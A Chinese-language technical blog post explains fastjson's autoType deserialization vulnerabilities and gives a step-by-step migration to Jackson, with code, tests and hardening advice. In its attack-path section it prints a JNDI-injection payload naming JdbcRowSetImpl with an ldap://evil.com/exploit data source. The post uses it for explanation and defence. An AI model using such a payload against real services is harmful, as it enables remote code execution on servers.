
fastjson 是我在 Java 项目里最早接触的一批 JSON 解析库之一也是我后来主动移除最快的一个依赖。原因不复杂它确实快但安全问题太多太多漏洞跟反序列化有关而且修复模式长期是“打补丁-被绕过-再打补丁”。在 2022 年发布 1.2.84 之后社区对 fastjson 的态度已经非常明确能用 Jackson 就用 Jackson尽量不要把 fastjson 留在核心链路里。这篇文章不是劝你立刻删掉所有 fastjson而是把禁用理由、漏洞根源、迁移到 Jackson 的具体步骤和排查方式说清楚。如果你正在维护老项目或者在新技术选型里纠结要不要引入 fastjson这篇文章可以直接参考。1. fastjson 核心能力速览能力项说明项目性质阿里巴巴开源的 Java JSON 解析库提供序列化与反序列化能力主要功能JSON 字符串转 Java 对象、Java 对象转 JSON、JSON 树模型操作、JSONPath 等常见用途HTTP 接口参数解析、Redis 缓存对象序列化、配置中心配置解析、RPC 消息体编解码典型优势API 简单、解析速度快、支持自动识别 getter/setter、支持泛型反序列化主要风险反序列化安全漏洞频发autoType 机制可能被攻击者利用执行恶意类已知安全事件多次爆出反序列化远程代码执行漏洞官方持续更新黑名单与安全版本最新安全版本材料中涉及 fastjson 1.2.84该版本是官方继续做安全修复的版本之一替代方案Jackson 是当前 Java 生态使用最广泛的 JSON 库Spring Boot 默认集成适用场景非安全敏感的内部工具可以使用但需严格封禁 autoType 并持续升级不适用场景公网接口、不可信输入、金融/电商等安全敏感业务不建议继续使用从功能角度讲fastjson 作为 JSON 工具是合格的API 设计也很顺手。但从安全工程角度讲引入一个反复出现反序列化漏洞的组件会让代码审计、漏洞扫描、等保测评都变得很难解释。2. 禁用 fastjson 的核心原因2.1 反序列化漏洞的本质风险fastjson 在反序列化时支持一种叫autoType的机制。这个机制允许 JSON 字符串中通过type字段指定具体的类名然后 fastjson 会根据这个类名去实例化对象。这个设计本意是为多态反序列化提供便利但在安全上等于把“实例化哪个类”的选择权交给了数据输入方。如果攻击者能控制 JSON 内容并且目标 classpath 中存在可利用的 gadget 链比如某些第三方库中的特定类就可能构造恶意 JSON 触发远程代码执行。攻击大致路径如下攻击者发送一段携带type字段的 JSON。fastjson 解析type得到目标类名尝试加载并实例化。在实例化或字段赋值过程中触发了目标类的危险方法。攻击者利用这些方法执行系统命令或写入恶意文件。早期版本的 fastjson 对type限制很弱攻击者可以直接指定 JdbcRowSetImpl、TemplatesImpl 等危险类。后续版本启用了黑名单但安全研究人员不断找到绕过黑名单的新类于是漏洞列表越来越长。2.2 修复模式导致安全债长期存在fastjson 的安全修复节奏通常是漏洞公开、官方发新版、黑名单补充、防御绕过、再发新版。这个循环在多个版本中反复出现。虽然 1.2.84 增加了更多安全校验但只要你还在使用 fastjson就必须持续跟进每一个新版本否则就有已知漏洞暴露风险。在真实项目里依赖升级并不像看起来那么简单。如果业务代码依赖某些 fastjson 的序列化特性升级版本后可能出现兼容性问题。为了一个 JSON 工具花费大量时间处理安全升级这部分成本被很多团队低估了。2.3 默认安全配置建议关闭 autoType如果你暂时无法移除 fastjson第一步至少应该关闭 autoTypeParserConfig.getGlobalInstance().setAutoTypeSupport(false);对于 fastjson 1.2.84通过系统属性或代码配置可以进一步增强限制# JVM 启动参数方式 -Dfastjson.parser.autoTypeAcceptcom.example.allowlist -Dfastjson.parser.autoTypeSupportfalse但要注意关闭 autoType 会导致部分依赖多态序列化的功能失效需要做充分的回归测试。这不是一个“配一下就万事大吉”的方案而是一个临时缓解措施。3. fastjson 反序列化漏洞的典型攻击路径分析这一节我们用贴近实战的角度看一下攻击者如何利用 fastjson 反序列化漏洞。目的是让读者理解为什么低版本 fastjson 在公网环境里如此危险。3.1 漏洞入口最常见的入口是 HTTP JSON 接口。假设后端接口使用了这样的代码PostMapping(/api/data) public Result parseData(RequestBody String body) { JSONObject obj JSON.parseObject(body); return process(obj); }如果body来自不可信客户端攻击者就可以构造恶意 JSON。3.2 恶意载荷构造攻击者可能构造类似下面的 JSON{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://evil.com/exploit, autoCommit: true }fastjson 解析时如果支持 autoType 并且 classpath 包含 JdbcRowSetImpl就可能触发 JNDI 注入加载远程恶意类。在高版本 JDK 中JNDI 远程类加载受到限制攻击者通常会利用本地 gadget 类绕过。这也是为什么 fastjson 的漏洞通告经常是一串 CVE 编号一起出现。3.3 攻击成功条件攻击要成功通常需要同时满足这几个条件使用了 fastjson 的低版本或存在已知绕过缺陷的版本。应用允许autoType或默认配置可被绕过。classpath 中存在可用的 gadget 类。JDK 版本与 RMI/LDAP 利用方式匹配。即使条件苛刻公网场景下也不能抱有侥幸心理。攻击者可以做大量探测一旦命中就是服务器失陷。4. 迁移为 Jackson 的改造方案Jackson 是目前 Java 生态最成熟的 JSON 库Spring Boot 默认集成社区资料多兼容性好安全更新响应也相对及时。迁移 fastjson 到 Jackson 是当前主流的替代路线。4.1 依赖替换如果使用 Maven先移除 fastjson 依赖dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.84/version /dependency然后添加 Jackson 依赖。如果项目是 Spring Bootspring-boot-starter-web已经内置了 Jackson通常不需要额外引入。如果只是普通 Java 工程可以加入dependency groupIdcom.fasterxml.jackson.core/groupId artifactIdjackson-databind/artifactId version2.15.3/version /dependency dependency groupIdcom.fasterxml.jackson.datatype/groupId artifactIdjackson-datatype-jsr310/artifactId version2.15.3/version /dependency版本号需要以你项目实际可用的版本为准建议使用较新的稳定版。如果你用的是 Gradle对应写法implementation com.fasterxml.jackson.core:jackson-databind:2.15.34.2 代码迁移普通对象fastjson 最常见的用法是// fastjson 写法 User user JSON.parseObject(jsonStr, User.class); String json JSON.toJSONString(user);对应 Jackson 写法ObjectMapper mapper new ObjectMapper(); // 字符串转对象 User user mapper.readValue(jsonStr, User.class); // 对象转字符串 String json mapper.writeValueAsString(user);如果遇到泛型类型比如ListUserfastjson 的写法ListUser list JSON.parseArray(jsonStr, User.class);Jackson 需要使用 TypeReferenceListUser list mapper.readValue(jsonStr, new TypeReferenceListUser() {});4.3 代码迁移JSONObjectfastjson 里常用JSONObject做动态键值操作Jackson 对应使用JsonNode// fastjson 写法 JSONObject obj JSON.parseObject(jsonStr); String name obj.getString(name); int age obj.getIntValue(age);Jackson 写法JsonNode node mapper.readTree(jsonStr); String name node.get(name).asText(); int age node.get(age).asInt();需要创建可修改的动态对象时可以使用ObjectNodeObjectNode obj mapper.createObjectNode(); obj.put(name, zhangsan); obj.put(age, 18); String json mapper.writeValueAsString(obj);4.4 日期格式配置fastjson 中设置日期格式比较直接Jackson 需要自定义配置ObjectMapper mapper new ObjectMapper(); mapper.setDateFormat(new SimpleDateFormat(yyyy-MM-dd HH:mm:ss)); // 支持 Java 8 时间类型 mapper.registerModule(new JavaTimeModule()); mapper.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);4.5 忽略未知字段fastjson 默认忽略未知字段Jackson 默认会报错。为了保持迁移后行为一致可以配置ObjectMapper mapper new ObjectMapper(); mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);4.6 空值序列化处理fastjson 序列化时默认忽略 null 值不同版本行为有差异。Jackson 默认输出 null 字段如果希望忽略配置mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);5. fastjson 迁移为 Jackson 后的功能对比测试迁移完成后不能只改代码看编译通过还需要做功能验证。下面给出一套最小验证用例建议在测试环境跑一遍。5.1 验证目标确认迁移后 JSON 序列化与反序列化结果和原业务预期一致。重点检查基础对象转换。复杂嵌套对象。List/Map 泛型。日期格式。null 值处理。未知字段处理。枚举序列化。5.2 测试用例示例public class JacksonMigrationTest { private ObjectMapper mapper; Before public void setUp() { mapper new ObjectMapper(); mapper.registerModule(new JavaTimeModule()); mapper.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS); mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); } Test public void testSimpleObject() throws Exception { User user new User(); user.setName(zhangsan); user.setAge(18); String json mapper.writeValueAsString(user); User parsed mapper.readValue(json, User.class); Assert.assertEquals(zhangsan, parsed.getName()); Assert.assertEquals(18, parsed.getAge()); } Test public void testGenericList() throws Exception { String json [{\name\:\a\,\age\:1},{\name\:\b\,\age\:2}]; ListUser list mapper.readValue(json, new TypeReferenceListUser() {}); Assert.assertEquals(2, list.size()); Assert.assertEquals(a, list.get(0).getName()); } Test public void testJsonNode() throws Exception { String json {\name\:\zhangsan\,\age\:18}; JsonNode node mapper.readTree(json); Assert.assertEquals(zhangsan, node.get(name).asText()); Assert.assertEquals(18, node.get(age).asInt()); } }5.3 判断标准所有测试用例通过说明本次迁移没有破坏基本信息转换。如果日期格式不一致检查 JavaTimeModule 是否注册。如果有对象字段名不一致检查JsonProperty注解是否添加。5.4 常见迁移失败原因失败现象可能原因解决方案解析报错 Unknown property原类有字段但 Jackson 默认开启 FAIL_ON_UNKNOWN_PROPERTIES配置 FAIL_ON_UNKNOWN_PROPERTIESfalse日期输出为时间戳缺少 JavaTimeModule 或 WRITE_DATES_AS_TIMESTAMPS 未关闭注册 JavaTimeModule关闭时间戳输出LocalDateTime 无法转换缺少 jackson-datatype-jsr310 依赖添加依赖并注册 JavaTimeModule多态类型无法反序列化fastjson 的 type 自动多态在 Jackson 中不默认支持使用 JsonTypeInfo 注解配置多态性能下降明显每次都新建 ObjectMapper 实例将 ObjectMapper 改为单例注入6. 通用替换模板如何批量排查 fastjson 使用点迁移到一个中大型项目时手动找JSON.parseObject太慢。推荐用 IDEA 全局搜索加 Maven 依赖树定位。6.1 定位依赖引用mvn dependency:tree -Dincludescom.alibaba:fastjson这个命令会列出哪些模块引用了 fastjson。如果是传递依赖引入的需要找到上一级依赖是谁然后通过exclusion排除dependency groupIdcom.example/groupId artifactIdsome-sdk/artifactId exclusions exclusion groupIdcom.alibaba/groupId artifactIdfastjson/artifactId /exclusion /exclusions /dependency6.2 定位代码调用点IDEA 中按 CtrlShiftF 全局搜索以下关键类名JSONJSONObjectJSONArrayJSON.parseObjectJSON.parseArrayJSON.toJSONStringcom.alibaba.fastjson逐个文件替换为 Jackson 写法。6.3 批量替换注意事项如果业务代码大量使用JSONObject短期完全替换工作量可能很大。建议分阶段处理第一阶段移除公网接口入参中的 fastjson 解析改为 Jackson。第二阶段替换内部服务间的 JSON 序列化。第三阶段清理缓存与配置中心的序列化逻辑。第四阶段彻底移除依赖全局搜索确认无残留。7. 资源占用与性能观察方法fastjson 在性能测试中通常表现不错这也是很多团队最初选型的原因。但迁移到 Jackson 后性能不一定成为瓶颈关键要看使用方式是否合理。7.1 性能观察指标迁移后建议从这几个维度做对比测试QPS单位时间能处理的 JSON 解析次数。平均响应时间单次序列化/反序列化的耗时。GC 压力压测过程中 Young GC 频率和耗时。内存占用解析大 JSON 对象时堆内存变化。大对象场景10MB 以上 JSON 字符串的解析耗时。7.2 性能测试方法如果已经有 JMH 环境可以直接写基准测试。这里给一个简化示例Benchmark public void testJackson(Blackhole blackhole) throws Exception { ObjectMapper mapper new ObjectMapper(); User user new User(); user.setName(zhangsan); user.setAge(18); String json mapper.writeValueAsString(user); blackhole.consume(json); }如果没有 JMH可以直接在接口层通过压测工具观察耗时重点看 P99 和 GC 情况。7.3 如何降低解析开销无论用哪个 JSON 库大对象、高频解析都会产生性能开销。建议ObjectMapper 单例复用不要每次解析都 new。使用readerFor或writerFor复用读写器。避免在 for 循环里重复序列化同一个常量对象。大数据量文本考虑流式解析JsonParser。注意字符串拼接尽量直接序列化整个对象。8. fastjson 常见问题与迁移排错清单问题现象可能原因排查方式解决方案Maven 依赖树里 fastjson 去不掉被其他 SDK 传递依赖引入运行mvn dependency:tree -Dincludescom.alibaba:fastjson查看来源在对应依赖上添加 exclusion替换成 Jackson 后字段为 nullfastjson 的值命名策略和 Jackson 不同加上JsonProperty明确字段名注解映射字段名日期格式从yyyy-MM-dd变成时间戳Jackson 默认把日期序列化为时间戳检查配置注册 JavaTimeModule关闭 WRITE_DATES_AS_TIMESTAMPS接口报错 Unrecognized fieldJackson 默认拒绝未知字段看日志字段名配置 FAIL_ON_UNKNOWN_PROPERTIESfalse反序列化得到 LinkedHashMap没有指定具体类型检查readValue的目标类型使用 TypeReference 指定泛型JSONField 注解全失效fastjson 注解与 Jackson 不通用全局搜索JSONField替换为JsonProperty和JsonFormat使用到 JSONPathfastjson 提供 JSONPath 语法检查代码中的 JSONPath 调用改用 Jayway JsonPath 或手写解析逻辑依赖冲突导致 NoSuchMethodError多个 fastjson 版本共存查看依赖树统一排除旧版本只保留一个 JSON 库8.1 JSONField 注解替换fastjson 中常用JSONField控制字段名和格式public class User { JSONField(name user_name) private String userName; JSONField(format yyyy-MM-dd) private Date birthday; }对应 Jackson 写法public class User { JsonProperty(user_name) private String userName; JsonFormat(pattern yyyy-MM-dd, timezone GMT8) private Date birthday; }8.2 JSONType 替换fastjson 中JSONType可以控制类的序列化规则。Jackson 中主要通过类上的JsonIgnoreProperties、JsonInclude等注解实现。fastjsonJSONType(ignores {password}) public class Account { private String username; private String password; }JacksonJsonIgnoreProperties(password) public class Account { private String username; private String password; }8.3 多态反序列化替换如果之前的代码用 fastjson 的 autoType 做多态反序列化迁移到 Jackson 时需要显式配置类型信息JsonTypeInfo(use JsonTypeInfo.Id.NAME, include JsonTypeInfo.As.PROPERTY, property type) JsonSubTypes({ JsonSubTypes.Type(value Dog.class, name dog), JsonSubTypes.Type(value Cat.class, name cat) }) public abstract class Animal { private String name; }这种方式比 fastjson 的 autoType 更可控因为允许的子类类型被明确列出攻击者不能随意指定任意类。9. 工程落地最佳实践9.1 新项目直接使用 Jackson新项目从第一天就不要引入 fastjson。Spring Boot 项目自带 Jackson直接使用即可团队不需要额外学习成本。9.2 老项目按风险分级处理对存量项目先做影响面评估公网 API 入参是否直接使用 fastjson 解析是否开启了 autoType是否有自定义反序列化器是否有直接传递不可信 JSON 的链路优先级排序公网接口和暴露在不可信网络的接口最优先替换。内部 RPC 和消息队列的 JSON 序列化分批替换。离线任务和一次性脚本可以最后处理但也不能长期不升级。9.3 如果无法短期迁移至少保持版本最新如果业务确实依赖 fastjson 的某些特性短期无法替换必须满足以下条件使用最新安全版本比如 1.2.84 或更新版本。关闭 autoType 支持。配置严格的反序列化白名单。通过安全扫描工具持续监控。一旦有新漏洞通告立即评估是否需要升级或提前迁移。9.4 建立 JSON 库选型规范团队内可以建立一个简单的依赖规范避免不同成员引入不同的 JSON 库后端服务统一使用 Jackson并封装一个配置好的 ObjectMapper Bean。禁止新代码引入 fastjson 及其他 JSON 库。全局搜索检查中把com.alibaba.fastjson作为高风险关键词。代码评审时重点关注新增依赖是否引入 fastjson 传递依赖。9.5 接口安全加固建议即使使用 Jackson也不代表可以完全放松警惕。以下措施同样重要接口入参做完整校验不要直接反序列化成内部对象。不允许用户传入类型信息的接口不开启多态反序列化。敏感接口增加鉴权、限流和审计日志。涉及文件上传、URL 跳转、命令执行的场景单独做安全设计。无论使用哪个 JSON 库对不可信数据都不要盲目信任。10. 总结与下一步fastjson 被禁用的根本原因是反序列化安全漏洞反复出现修复成本高且 autoType 设计本身在安全边界上存在天然风险。1.2.84 是一个重要的安全版本但“升级到最新版”并不等于“永久安全”只是把风险窗口收窄了。如果你还在维护 fastjson 老项目建议按这个优先级行动立刻确认是否开启 autoType如果开启先通过配置关闭。排查公网接口是否直接解析不可信 JSON优先替换这些链路。制定迁移计划把 fastjson 替换为 Jackson。替换后做功能回归测试重点检查泛型、日期、注解和未知字段行为。将 fastjson 加入团队依赖黑名单避免新增代码再次引入。Jackson 不是唯一选择Gson、Jsonb 等也可以考虑但综合社区活跃度、Spring Boot 集成度、资料丰富度和生态兼容性Jackson 目前是最稳妥的默认选项。最容易踩的坑不是代码替换本身而是替换后行为不一致。fastjson 的JSONField、默认 null 处理、日期格式、未知字段行为和 Jackson 都不一样。只有把这块差异补上迁移才算真正完成。后续可以继续做的工作包括统一封装项目的基础 ObjectMapper 配置类补充 JSON 序列化的单元测试基线在 CI 里增加依赖扫描和漏洞检测任务确保 fastjson 这样的高风险组件不会在某个角落里重新出现。迁移完成后你会发现接口层更干净安全告警少了团队对新依赖的掌控也更清楚。